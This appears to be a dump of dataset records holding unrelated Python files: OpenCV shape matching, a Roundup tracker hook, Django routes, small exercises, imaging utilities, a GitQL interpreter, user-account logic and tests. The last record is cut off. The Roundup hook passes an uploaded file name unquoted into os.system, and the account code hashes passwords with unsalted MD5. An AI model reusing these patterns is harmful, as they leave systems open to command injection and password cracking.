cv2.imread(\"mycloud2.jpg\")\ncv2.imshow(\"mycloud2\",src2)\nsrc2_gray = cv2.cvtColor(src2,cv2.COLOR_BGR2GRAY) # 影像轉成灰階\nret, dst_binary = cv2.threshold(src2_gray,127,255,cv2.THRESH_BINARY)\ncontours, hierarchy = cv2.findContours(dst_binary,\n cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE) \ncnt2 = contours[0]\n# 讀取與建立影像 3\nsrc3 = cv2.imread(\"explode1.jpg\")\ncv2.imshow(\"explode\",src3)\nsrc3_gray = cv2.cvtColor(src3,cv2.COLOR_BGR2GRAY) # 影像轉成灰階\nret, dst_binary = cv2.threshold(src3_gray,127,255,cv2.THRESH_BINARY)\ncontours, hierarchy = cv2.findContours(dst_binary,\n cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE) \ncnt3 = contours[0]\nsd = cv2.createShapeContextDistanceExtractor() # 建立形狀場景運算子\nmatch0 = sd.computeDistance(cnt1, cnt1) # 影像1和1比較 \nprint(f\"影像1和1比較 = {match0}\")\nmatch1 = sd.computeDistance(cnt1, cnt2) # 影像1和2比較\nprint(f\"影像1和2比較 = {match1}\")\nmatch2 =sd.computeDistance(cnt1, cnt3) # 影像1和3比較\nprint(f\"影像1和3比較 = {match2}\")\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n","sub_path":"OpenCV讀者資源/讀者資源/程式實例/ch15/ch15_23.py","file_name":"ch15_23.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"88078872","text":"# copied from nosyreaction\n\nimport os\nfrom roundup import roundupdb\nimport logging\n\nlogger = logging.getLogger('myapp')\nhdlr = logging.FileHandler('/tmp/track.log')\nformatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\nhdlr.setFormatter(formatter)\nlogger.addHandler(hdlr) \nlogger.setLevel(logging.DEBUG)\n\nlogger.debug(\"----\")\n\ndef sendmessage(filenum, db, issueid):\n logger.debug(\"in sendmessage\")\n fc = db.classes[\"file\"]\n fname = fc.get(filenum, \"name\")\n logger.debug(\"fname = %s\" % fname)\n if (\".tar.gz\" in fname.lower()):\n logger.debug(\"got a tarball\")\n cmd = \"/home/webadmin/python/bin/python \"\n cmd = cmd + \"/extra/trackers/bioc_submit/customizations/sendmessage.py >> /tmp/sendmessage.log 2>&1\"\n cmd = cmd + \" %s %s %s\" % (issueid, filenum, fname)\n logger.debug(\"cmd = %s\" % cmd)\n retcode = os.system(cmd)\n logger.debug(\"retcode = %d\" % retcode)\n \n\ndef meth(db, cl, nodeid, oldvalues):\n logger.debug(\"in meth\")\n logger.debug(\"db = %s, cl = %s, nodeid = %s, oldvalues = %s\" % \\\n (db, cl, nodeid, oldvalues))\n # if we were called with 'create', oldvalues will be None\n if (oldvalues == None):\n logger.debug(\"we were called with create\")\n files = cl.get(nodeid, \"files\")\n if (len(files) > 0):\n for file in files:\n sendmessage(file, db, nodeid)\n # if we were called with 'set', oldvalues will be a dictionary\n else:\n logger.debug(\"we were called with set\")\n oldfiles = oldvalues['files']\n logger.debug(\"got oldfiles\")\n newfiles = cl.get(nodeid, \"files\")\n logger.debug(\"got newfiles\")\n logger.debug(\"oldfiles = %s, newfiles = %s\" % (oldfiles, newfiles))\n diff = [item for item in newfiles if item not in oldfiles]\n logger.debug(\"diff is %d elements long\" % len(diff))\n for file in diff:\n sendmessage(file, db, nodeid)\n \n \n\ndef init(db):\n logger.debug(\"In init\")\n logger.debug(\"Current user is %s\" % os.getenv(\"USER\"))\n db.issue.react('create', meth)\n db.issue.react('set', meth)\n\n","sub_path":"detectors.mamba/builder_reactor.py","file_name":"builder_reactor.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"485080027","text":"from django.conf.urls import patterns, include, url\nfrom essay import views\nfrom django.contrib import admin\nadmin.autodiscover()\n\nhandler404 = 'lala.views.page_not_found'\nhandler500 = 'lala.views.page_error'\nurlpatterns = patterns('',\n # Examples:\n #url(r'^$', views.server, name='inner'),\n # url(r'^blog/', include('blog.urls')),\n url(r'^new/(.+)/(.+)/', views.essay_new,name='essay_new'),\n url(r'^update/(\\d+)/', views.essay_update,name='essay_update'),\n url(r'^delete/(\\w+)/(.+)/', views.essay_delete,name='essay_delete'),\n url(r'^edit/(\\w+)/(.+)/', views.essay_edit,name='essay_edit'),\n url(r'^fail_submit', views.fail_submit,name='fail_submit'),\n\n #url('', include('django_socketio.urls')),\n #url(r'^site_media/(?P.*)$', 'django.views.static.serve',\n # {'document_root': '/media'}),\n)\n","sub_path":"essay/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"592952181","text":"# 4. Определить, какое число в массиве встречается чаще всего.\n\nimport random\na = [random.randint(0, 10) for i in range(20)]\nprint(a)\n\nb = list(set(a))\nprint(b)\n\n\nmax_rate = [0, 0] # [0] - частота, [1] - число\n\nfor i in range(len(b)):\n rate = 0\n for y in range(len(a)):\n if b[i] == a[y]:\n rate += 1\n if rate > max_rate[0]:\n max_rate[0] = rate\n max_rate[1] = b[i]\n\nprint(f'число {max_rate[1]} встретилось {max_rate[0]} раз')\n","sub_path":"homework3/hw3_4.py","file_name":"hw3_4.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"448320164","text":"sayi=input(\"Sayi:\")\nbasamak_sayisi=len(sayi)\nsayi=int(sayi)\nbasamak=0\ntoplam=0\n\ngecici_sayi = sayi\nwhile(gecici_sayi>0):\n basamak = gecici_sayi % 10\n toplam += basamak ** basamak_sayisi\n gecici_sayi //=10\n\nif(toplam == sayi):\n print(sayi,\"Armstrong sayisidir\")\nelse :\n print(sayi,\"Armstrong sayisi değildir !\")\n","sub_path":"nesnetabanli_python/Armstrongsayisi.py","file_name":"Armstrongsayisi.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"560992510","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n FileName : find_content_children.py\n Author : libins\n Contact : libins810@gmail.com\n CreateDate : 2020-03-06 23:00\n SoftWare : IntelliJ IDEA\n Description : 分发饼干[leetcode: 455题]\n-------------------------------------------------\n\"\"\"\n\n\n#\ndef find_content_children(g, s):\n if len(g) == 0 or len(s) == 0:\n return 0\n g = sorted(g)\n s = sorted(s)\n counter = 0\n for a in g:\n if len(g) == 0 or len(s) == 0:\n break\n if s[0] >= a:\n counter += 1\n g = g[1:]\n s = s[1:]\n else:\n g = g[1:]\n return counter\n\n\ng = [1, 2, 3]\ns = [1, 1]\nret = find_content_children(g, s)\nprint(ret)\n","sub_path":"find_content_children.py","file_name":"find_content_children.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"639319704","text":"\nimport pandas as pd\nimport scipy.io as sio\nimport numpy as np\nfrom glob import glob\nimport pickle\nfrom scipy.stats.mstats import zscore\n\ndef chop_file_vars(starts, lengths, skip_ends, skip_starts):\n \"\"\"for dropping elems of starts and lengths to ignore first or last acqs\n \"\"\"\n if skip_ends > 0:\n starts = starts[0:len(starts)-skip_ends]\n lengths = lengths[0:len(starts)-skip_ends]\n if skip_starts > 0:\n starts = starts[skip_starts:]\n lengths = lengths[skip_starts:]\n return starts, lengths\n\n\ndef do_pre_dfof(traces, dfof_method, do_zscore, fr=None, correct_neg=None):\n \"\"\"do fluorescence calculations that should occur before chopping into PSTHS\n This occurs for percentile, rolling_percentile, and z scoring.\n Inputs:\n traces - a n cells x n frames array of fluorescence (already neuropil subtracted)\n dfof_method (str): one of 'percentile', 'rolling_percentile', 'by trial', or 'at start'. percentile takes the 30th\n prctile value per cell as the f0. 'rolling_percentile' is the same but calculates rolling f0 based on 200 datapts.\n by trial does it so that the f0 is the mean of the values in df_range per trial, at_start takes the mean of the\n frames in df_range at the start of the recording. Only percentile + rolling percentile are done in this section\n do_zscore (bool): whether or not to zscore the data.\n\n NEW JAN 2021: fr (float) - framerate of acq\n correct_neg - whether to subt min of F and how 'by cell' or 'overall'\n \"\"\"\n if correct_neg == 'overall' or correct_neg==True: #01/21\n min_F = np.nanmin(traces[:])\n print('subtracting min, its ', min_F)\n traces = traces- min_F\n elif correct_neg == 'by cell':\n min_F = np.nanmin(traces,axis=1)\n print('subtracting min by cell, its')\n traces = traces- np.reshape(min_F, (min_F.shape[0],1))\n if dfof_method == 'percentile':\n f0=np.nanpercentile(traces,20, axis=1)\n f0 = np.reshape(f0,(f0.shape[0],1))\n traces = (traces-f0)/f0\n if dfof_method == 'rolling_percentile': #starting 8/19 make this \n #01/2021 \n if fr is not None:\n rolling_window = 120*fr\n else: #assume ~6 fps\n rolling_window = 120*6\n f0s = pd.DataFrame(np.transpose(traces)).rolling(rolling_window,\n min_periods=1, center=True).quantile(.20)\n f0s = np.transpose(f0s.values)\n traces = (traces-f0s)/f0s\n if do_zscore:\n traces = zscore(traces, axis=1)\n return traces\n \ndef do_dfof_cuts(cut_traces, dfof_method, do_baseline, baseline_n, df_range=None):\n if dfof_method == 'at start':\n for i in range(0, np.shape(cut_traces)[1]):\n for j in range(0, np.shape(cut_traces)[0]):\n f0 = np.mean(traces[i,df_range[0]:df_range[1]])\n cut_traces[j,i,:] = (cut_traces[j,i,:]-f0)/f0\n elif dfof_method == 'by trial' or dfof_method == 'by_trial':\n for i in range(0, np.shape(cut_traces)[1]):\n for j in range(0, np.shape(cut_traces)[0]):\n f0 = np.nanmean(cut_traces[j,i,df_range[0]:df_range[1]])\n cut_traces[j,i,:] = (cut_traces[j,i,:]-f0)/f0\n elif 'percentile' not in dfof_method:\n print('no dfof method selected, returning raw cut traces')\n if do_baseline:\n print('subtracting baseline!')\n cut_traces = cut_traces - np.nanmean(cut_traces[:,:,0:baseline_n],axis=2).reshape((cut_traces.shape[0],\n cut_traces.shape[1],\n 1))\n return cut_traces\n\ndef get_traces_segment(real_start, real_end, traces, cell=None):\n \"\"\"get a segment of fluorescent traces with nan padding\n Rteturns a segment of traces corresponding to a time period for a given cell (if cell is not None) or \n all cells if cell is None. Pads with nans if a start is before the beginning of traces or an end is after\n the end of traces, but will throw an error if real_start exceeds 2nd dim of traces or real_end is less than 0.\n \n Args:\n real_start (int): start index in frames of segment\n real_end (int): end index in frames of segment\n traces (2d np array): array of F values, cells x frames \n cell (int or array): cell or cells for which the F values should be returned. If none, returns for all cells.\n \n Returns:\n \n \"\"\"\n if cell==None:\n cell = np.linspace(0, traces.shape[0]-1, traces.shape[0]).astype('int16')\n if real_start < 0 and real_end > 0:\n try:\n cut = np.concatenate((np.tile(np.nan, (len(cell),-1*real_start)), traces[cell,0:real_end]),1)\n except:\n print('shape of traces was: ', traces.shape, ' start was ', real_start, ' end was ', real_end,\n 'padded nans were', np.tile(np.nan, (len(cell),-1*real_start)).shape,\n ' cut bit was ', traces[cell,0:real_end])\n raise Exception('unexpected error, see printed message for details')\n elif real_end < 0: #this should never happen\n raise Exception('requested a trace segment with end time exceeding length of traces')\n #if real_end longer than available data, but real start isn't\n elif real_end > traces.shape[1] and real_start < traces.shape[1]:\n try:\n cut = np.concatenate((traces[cell,real_start:],np.tile(np.nan, (len(cell),real_end-traces.shape[1]))),1)\n except:\n print('shape of traces was: ', traces.shape, ' start was ', real_start, ' end was ', real_end,\n 'padded nans were', np.tile(np.nan, (len(cell),real_end-traces.shape[1])).shape,\n 'cut bit was ', traces[cell,real_start:].shape)\n raise Exception('unexpected error, see printed message for details')\n elif real_end > traces.shape[1] and real_start >= traces.shape[1]: #this also should not happen\n print('shape of traces was: ', traces.shape, ' start was ', real_start, ' end was ', real_end,\n 'padded nans were', np.tile(np.nan, (len(cell),real_end-traces.shape[1])).shape,\n 'cut bit was ', traces[cell,real_start:].shape)\n raise Exception('requested a start time that exceeds the length of traces')\n else:\n cut = traces[cell, real_start:real_end]\n return cut","sub_path":"PSTH_creation_utils.py","file_name":"PSTH_creation_utils.py","file_ext":"py","file_size_in_byte":6520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"396344516","text":"\"\"\"\r\nPalindrome_Tester - Program that picks a random number between a range\r\n then the user must guess that number\r\nauthor: Cameron Mims\r\ndate: 9/7/2018\r\n\"\"\"\r\n\r\n\r\nrun = True # Flag for while loop\r\nrandom_string = ''\r\n\r\n\r\ndef reverse_string(input_string):\r\n \"\"\"\r\n Method that returns a reversed string\r\n :return: String\r\n \"\"\"\r\n new_string = ''\r\n index = len(input_string)\r\n while index > 0:\r\n index -= 1\r\n new_string += input_string[index]\r\n return new_string\r\n\r\n\r\nwhile run: # While run != False\r\n random_string = input(\"Type in a string (Enter -1 to exit program): \")\r\n if random_string == '-1':\r\n print(\"Exiting Palindrome Tester...\")\r\n break\r\n reversed_string = reverse_string(random_string)\r\n if random_string != reversed_string:\r\n print(\"String is NOT a palindrome...\")\r\n elif random_string == reversed_string:\r\n print(\"String IS a palindrome...\")\r\n","sub_path":"Palindrome Tester/Palindrome_Tester.py","file_name":"Palindrome_Tester.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"132412277","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom operator import itemgetter\n\nimport git\n\nfrom . import get_possible_fields\nfrom .errors import GitQLError\nfrom .token import TokenType, Token\nfrom .ast import IdentifierNode\nfrom .visitor import NodeVisitor\nfrom .semantical import SemanticalChecker\n\n\nclass GitQL(NodeVisitor):\n def __init__(self, parser, path):\n try:\n self.repo = git.Repo(path)\n except (git.exc.InvalidGitRepositoryError,\n git.exc.NoSuchPathError) as e:\n raise GitQLError(\"'{}' is not a valid git repository\".format(e))\n\n self.parser = parser\n self.row_data = None\n\n def git_ref_types(self, ref):\n if isinstance(ref, git.RemoteReference):\n return 'remote'\n elif isinstance(ref, git.Head):\n return 'branch'\n elif isinstance(ref, git.TagReference):\n return 'tag'\n else:\n return ''\n\n def update_row_data(self, obj):\n if isinstance(obj, git.Commit):\n data = {\n 'author': obj.author.name,\n 'author_email': obj.author.email,\n 'committer': obj.committer.name,\n 'committer_email': obj.committer.email,\n 'hash': obj.hexsha,\n 'date': obj.committed_datetime.strftime('%Y-%m-%d %H:%M:%S'),\n 'summary': obj.summary,\n 'message': obj.message\n }\n elif isinstance(obj, git.Remote):\n data = {\n 'name': obj.name,\n 'url': obj.repo.git.remote('get-url', obj.name),\n 'push_url': obj.repo.git.remote('get-url', '--push', obj.name),\n 'owner': obj.repo.git_dir\n }\n elif isinstance(obj, (git.Head, git.RemoteReference,\n git.TagReference)):\n data = {\n 'name': obj.name,\n 'full_name': obj.to_full_path(obj.name),\n 'hash': obj.object.hexsha,\n 'type': self.git_ref_types(obj)\n }\n else:\n data = {}\n\n self.row_data = data\n\n def walk(self, node, objects):\n limit = node.limit.limit.value\n offset = node.limit.offset.value\n n = 0\n rows = []\n\n header = [field.value for field in node.fields]\n header_lower = [field.lower() for field in header]\n\n for obj in objects:\n if limit != -1 and n >= limit:\n break\n\n self.update_row_data(obj)\n\n if node.where and not self.visit(node.where.cond):\n continue\n\n if offset:\n offset -= 1\n continue\n\n n += 1\n row = [self.row_data[field] for field in header_lower]\n rows.append(row)\n\n if node.order:\n i = header_lower.index(node.order.field.value.lower())\n rows.sort(key=itemgetter(i), reverse=not node.order.asc)\n\n return header, rows\n\n def walkCommits(self, node):\n return self.walk(node, self.repo.iter_commits())\n\n def walkRemotes(self, node):\n return self.walk(node, self.repo.remotes)\n\n def walkTags(self, node):\n return self.walk(node, self.repo.tags)\n\n def walkBranches(self, node):\n return self.walk(node, self.repo.branches)\n\n def walkRefs(self, node):\n return self.walk(node, self.repo.refs)\n\n def visit_num(self, node):\n return node.value\n\n def visit_string(self, node):\n return node.value\n\n def visit_identifier(self, node):\n return self.row_data[node.value.lower()]\n\n def visit_unaryop(self, node):\n token_type = node.op.token_type\n if token_type == TokenType.T_NOT:\n return not self.visit(node.expr)\n else:\n # What's wrong...\n pass\n\n def visit_binop(self, node):\n op_funcs = {\n TokenType.T_AND: lambda x, y: x and y,\n TokenType.T_OR: lambda x, y: x or y,\n TokenType.T_EQ: lambda x, y: x == y,\n TokenType.T_NEQ: lambda x, y: x != y,\n TokenType.T_LT: lambda x, y: x < y,\n TokenType.T_LTE: lambda x, y: x <= y,\n TokenType.T_GT: lambda x, y: x > y,\n TokenType.T_GTE: lambda x, y: x >= y,\n TokenType.T_IN: lambda x, y: x in y\n }\n\n return op_funcs[node.op.token_type](self.visit(node.left),\n self.visit(node.right))\n\n def expandAsterisk(self, node):\n table = node.table.value\n possible_field_nodes = [\n IdentifierNode(Token(TokenType.T_IDENTIFIER, f))\n for f in get_possible_fields(table)\n ]\n for i, field in enumerate(node.fields):\n if field.token.token_type == TokenType.T_ASTERISK:\n node.fields[i:i + 1] = possible_field_nodes\n return\n\n def visit_select(self, node):\n self.expandAsterisk(node)\n\n walkers = {\n 'commits': self.walkCommits,\n 'remotes': self.walkRemotes,\n 'tags': self.walkTags,\n 'branches': self.walkBranches,\n 'refs': self.walkRefs\n }\n return walkers[node.table.value.lower()](node)\n\n def run(self):\n node = self.parser.parse()\n\n checker = SemanticalChecker()\n err, msg = checker.analysis(node)\n if err:\n raise GitQLError(msg)\n\n return self.visit(node)\n","sub_path":"gitql/gitql.py","file_name":"gitql.py","file_ext":"py","file_size_in_byte":5480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"709030","text":"#!/usr/bin/python3\n\n# @Project = step_LeetCode\n# @File : 1051_Height_Checker\n# @Author : TCY\n# @Time : 2019/5/27 16:44\n# @Email : tangcaiyuan@hust.edu.cn\n# @Software: PyCharm\n\nclass Solution:\n def heightChecker(self, heights: List[int]) -> int:\n aft = sorted(heights)\n ans = 0\n for i in range(len(aft)):\n if aft[i] != heights[i]:\n ans += 1\n return ans\n","sub_path":"Weekly_Contest/Weekly_Contest_138/1051_Height_Checker.py","file_name":"1051_Height_Checker.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"459179171","text":"from __future__ import unicode_literals\n\nfrom django.db import models\n\n\n# Create your models here.\nclass OperationLog(models.Model):\n LOG_LEVEL = (\n ('0', 'SUCCESS'),\n ('1', 'WANTING'),\n ('2', 'FAILED')\n )\n action = models.CharField(u'', max_length=45, default='')\n status = models.BooleanField(default=False)\n level = models.CharField(u'', max_length=30, default='0', null=True)\n desc = models.CharField(u'', max_length=256, null=True)\n\n # user = models\n created = models.DateTimeField(auto_now=True)\n is_del = models.BooleanField(default=False)\n","sub_path":"my_ops/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"411752341","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom random import randint\nimport datetime\nfrom util.encrypt_md5 import encry_md5\nfrom util import convert\nfrom util.exception import ParamExist, NotFound, ParamNone, FormalError\nfrom db import api as db_api\nfrom logic import Logic\nimport logging\nLOG = logging.getLogger(__name__)\n\nclass UserLogic(Logic):\n def __init__(self):\n super(UserLogic, self).__init__()\n\n def views(self, models):\n if isinstance(models, dict):\n models.pop(\"pwd\")\n return models\n if isinstance(models, list):\n result = []\n for model in models:\n _model = model.to_dict()\n _model.pop(\"pwd\")\n result.append(_model)\n return result\n model = models.to_dict()\n model.pop(\"pwd\")\n return model\n\n def input(self, name=\"\", pwd=\"\", affirm_pwd=\"\", activate=0, phone=\"\", school_id=\"\", level=1):\n if pwd != affirm_pwd:\n raise FormalError(pwd=pwd, affirm_pwd=affirm_pwd)\n if not convert.is_mobile(phone):\n raise FormalError(phone=phone)\n if db_api.user_list(name=name):\n raise ParamExist(name=name)\n if db_api.user_list(phone=phone):\n raise ParamExist(phone=phone)\n values = {\n \"name\": name,\n \"pwd\": encry_md5(pwd.strip()),\n \"activate\": activate,\n \"phone\": phone,\n \"level\": level\n }\n if school_id:\n if not db_api.school_get(school_id):\n raise NotFound(school_id=school_id)\n values.update({\"school_id\": school_id})\n user_obj = db_api.user_create(values)\n return user_obj\n\n def update(self, id=\"\", **kwargs):\n if not id or not kwargs:\n raise ParamNone(id=id)\n LOG.info(\"kwargs 111:%r\"%kwargs)\n user_info = db_api.user_get(id)\n current_user_level = kwargs.pop(\"current_user_level\")\n if not user_info or current_user_level >= user_info.level:\n raise FormalError(current_user_level=current_user_level, level=user_info.level)\n\n if kwargs.get(\"school_id\", \"\"):\n _ = db_api.school_get(kwargs.get(\"school_id\", \"\"))\n if not _:\n raise NotFound(school_id=kwargs.get(\"school_id\", \"\"))\n name = kwargs.get(\"name\", \"\")\n if name and convert.bs2utf8(user_info.name)!=name and db_api.user_list(name=name):\n raise ParamExist(name=name)\n phone = kwargs.get(\"phone\", \"\")\n if phone and convert.bs2unicode(user_info.phone)!=phone and db_api.user_list(phone=phone):\n raise ParamExist(phone=phone)\n if kwargs.get(\"pwd\", \"\"):\n kwargs.pop(\"pwd\")\n LOG.info(\"kwargs 444:%r\" % kwargs)\n _ = db_api.user_update(id, kwargs)\n return _\n\n def update_pwd_by_phone(self, phone, pwd):\n user_list = db_api.user_list(phone=phone)\n if not user_list:\n return False\n user_id = user_list[0].id\n if not phone:\n return False\n if not convert.is_mobile(phone):\n return False\n db_api.user_update(user_id, {\"pwd\":encry_md5(pwd.strip())})\n return True\n\n\n def infos(self, id=\"\", name=\"\", phone=\"\", school_id=\"\", limit=100, offset=1):\n offset = (offset - 1) * limit if offset > 0 else 0\n filters = dict()\n if id:\n filters.update({\"id\": id})\n if name:\n filters.update({\"name\": name})\n if phone:\n filters.update({\"phone\": phone})\n if school_id:\n filters.update({\"school_id\": school_id})\n user_list = db_api.user_list(offset=offset, limit=limit, **filters)\n user_count = db_api.user_count(**filters)\n user_views = self.views(user_list)\n for user_info in user_views:\n school_info = db_api.school_get(id=user_info.get(\"school_id\"))\n if school_info:\n user_info.update({\"school_name\": school_info.name})\n\n return {\"count\": user_count, \"state\": 0, \"message\": \"query success\", \"data\": user_views}\n\n\n def auth_username(self, name, pwd):\n filters = {\n \"name\": name,\n \"pwd\": encry_md5(pwd)\n }\n user_list = db_api.user_list(**filters)\n if user_list:\n user_info = self.views(user_list[0])\n if user_info.get(\"school_id\", \"\"):\n school_info = db_api.school_get(user_info.get(\"school_id\"))\n user_info.update({\"school_name\": school_info.name})\n user_info.update({\"cardcode\": school_info.cardcode})\n return user_info\n\n def auth_phone(self, phone, pwd):\n user_list = db_api.user_list(phone=phone, pwd=encry_md5(pwd))\n if user_list:\n user_info = self.views(user_list[0])\n if user_info.get(\"school_id\", \"\"):\n school_info = db_api.school_get(user_info.get(\"school_id\"))\n user_info.update({\"school_name\": school_info.name})\n user_info.update({\"cardcode\": school_info.cardcode})\n return user_info\n\n def delete(self, id=\"\", **kwargs):\n user_list = db_api.user_list(id=id)\n if not user_list:\n return \"Id does not exist\"\n current_user_level = kwargs.pop(\"current_user_level\")\n for user_info in user_list:\n if int(current_user_level) >= user_info.level:\n return \"Permissions cannot be deleted\"\n db_api.user_deleted(id=id)\n\nclass WXUserLogic(Logic):\n def __init__(self):\n super(WXUserLogic, self).__init__()\n\n def input(self, openid=\"\", session_key=\"\", phone=\"\", wx_type=1):\n if db_api.wxuser_list(openid=openid):\n raise ParamExist(openid=openid)\n\n if db_api.wxuser_list(session_key=session_key):\n raise ParamExist(session_key=session_key)\n\n values = {\n \"openid\": openid,\n \"session_key\": session_key,\n \"wx_type\": wx_type\n }\n if phone and convert.is_mobile(phone):\n values.update({\"phone\": phone})\n\n wx_obj = db_api.wxuser_create(values)\n return wx_obj\n\n def update(self, id=\"\", **kwargs):\n if not id or not kwargs:\n return False\n _ = db_api.wxuser_update(id, kwargs)\n return _\n\n def infos(self, id=\"\", openid=\"\", phone=\"\", limit=100, offset=1):\n offset = (offset - 1) * limit if offset > 0 else 0\n filters = dict()\n if id:\n filters.update({\"id\": id})\n if openid:\n filters.update({\"openid\": openid})\n if phone:\n filters.update({\"phone\": phone})\n wx_list = db_api.wxuser_list(offset=offset, limit=limit, **filters)\n wx_count = db_api.wxuser_count(**filters)\n return {\"count\": wx_count, \"state\": 0, \"message\": \"query success\", \"data\": self.views(wx_list)}\n\n def info(self, id):\n if not id:\n return\n wx_info = db_api.wxuser_get(id)\n return self.views(wx_info)\n\n def info_by_phone(self, phone, wx_type=1):\n if not phone:\n return\n wx_info = db_api.wxuser_get_by_phone(phone, wx_type)\n return self.views(wx_info)\n\n def info_by_openid(self, openid):\n if not openid:\n return\n wx_infos = db_api.wxuser_list(openid=openid)\n if wx_infos:\n return self.views(wx_infos[0])\n\n def delete(self, id=\"\", **kwargs):\n if not id:\n return \"id is none\"\n db_api.wxuser_deleted(id=id)\n\n\n\n","sub_path":"logic/userlogic.py","file_name":"userlogic.py","file_ext":"py","file_size_in_byte":7565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"453097572","text":"import csv\nfrom pandas.core.frame import DataFrame\nfrom utils.merge_csv import mergeCSV\n\n\nclass csvWriter(object):\n\n def __init__(self, filename, search=False, repost=False, temp=False, breakpos=False):\n self.filename = filename\n self.search = search\n self.repost = repost\n self.temp = temp\n if self.search:\n self.header = ['keyword', 'user_id', 'screen_name', 'bw_id', 'repost_count', 'topic', 'content', 'created_at']\n if self.repost:\n self.header = ['center_bw_id', 'user_id', 'screen_name', 'bw_id', 'origin', 'repost_count', 'fs_count', 'fs_user_id', 'fs_screen_name', 'fs_bw_id', 'fs_fans_count', 'level', 'raw_text', 'created_at']\n if self.temp:\n self.header = ['bw_id']\n if not breakpos:\n self.create_csv()\n\n # 创建初始空文件\n def create_csv(self):\n with open(self.filename, 'w', encoding='utf-8', newline='') as f:\n csv_writer = csv.DictWriter(f, self.header)\n csv_writer.writeheader()\n\n # 写入每个页面的字典列表\n # 当爬取到最后一层时,才会用到关键字参数\n def write_csv(self, result_list, END=False, center_bw_id=None, origin_info=None, level=None):\n # 打开待写入文件\n with open(self.filename, 'a', encoding='utf-8', newline='') as f:\n csv_writer = csv.DictWriter(f, self.header)\n # 判断是否最后一层\n if END:\n # 若已是最后一层转发,许多字段需要设为空\n this_dict = {\n 'center_bw_id': center_bw_id,\n 'user_id': origin_info['origin_user']['id'],\n 'screen_name': origin_info['origin_user']['screen_name'],\n 'bw_id': origin_info['bw_id'],\n 'origin': origin_info['origin'],\n 'repost_count': 0,\n 'fs_count': origin_info['origin_user']['followers_count'],\n 'fs_user_id': 'Null',\n 'fs_screen_name': 'Null',\n 'fs_bw_id': 'Null',\n 'fs_fans_count': 'Null',\n 'level': level,\n 'raw_text': 'Null',\n 'created_at': 'Null'\n }\n csv_writer.writerow(this_dict)\n else:\n csv_writer.writerows(result_list)\n\n # 获取要爬取转发关系的列表\n def get_idList(self, bw_id=None):\n with open(self.filename, 'r', encoding='utf-8') as f:\n reader = csv.DictReader(f)\n idList = [row['bw_id'] for row in reader]\n if self.temp:\n # 减少转发紊乱导致的重复爬取\n # 用set会重新排序,则断点失效\n df = DataFrame(idList)\n df.columns = ['bw_id']\n df = df.drop_duplicates(keep='last')\n idList = df['bw_id']\n idList = idList.tolist()\n if bw_id:\n pos = idList.index(bw_id) # 必须为字符串形式\n idList = idList[pos+1:]\n return idList\n\n def merge_csv(self, temp_dir):\n if self.repost:\n mergeCSV(temp_dir, self.filename)\n","sub_path":"spider/utils/csvWriter.py","file_name":"csvWriter.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"520321512","text":"'''\nBrittany Manuel -- 11449415\nCptS 315\nHomework 3\nmain.py\n'''\n\nfrom helper import *\n\ndef createVocab():\n\n vocab = makeVocabList(\"traindata\", True)\n stops = makeVocabList(\"stoplist\", False)\n removeStops(vocab, stops)\n return vocab\n\ndef createFeatureVectors(vocab):\n\n messages = makeMessages()\n features = makeFeatures(messages, vocab) \n return features\n \ndef classifier(features):\n\n binaryClassifier(features, 20, 1)\n\n####################\n# Main #\n####################\nif __name__ == '__main__':\n\n start_time = time.time()\n vocab = createVocab()\n features = createFeatureVectors(vocab)\n classifier(features)\n\n\n print(\"Finished in: \" + str(round(time.time() - start_time)) + \" seconds.\")","sub_path":"Homework 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"126069813","text":"import unittest\nfrom Wpp.WppCore import WppCore\nfrom out.OutContextMemoryStream import OutContextMemoryStream\nfrom core.ErrorTaxon import ErrorTaxon\nfrom core.TaxonAltName import TaxonAltName\n\nclass TestWppOperator(unittest.TestCase):\n\tdef testInvalidName(self):\n\t\tsource = \"\"\"\nclass simple One\n\toperator @: int\n\t\tparam right: int\n\t\treturn 1 + right\n\"\"\"\t\t\n\t\twith self.assertRaises(ErrorTaxon) as cm:\n\t\t\tmodule = WppCore.createMemModule(source, 'invalidName.wpp')\n\t\tself.assertEqual(cm.exception.args[0], 'Invalid operator name \"@\"')\n\n\tdef testWrongOp(self):\n\t\tsource = \"\"\"\nclass simple One\n\toperator ?: int\n\t\tparam right: 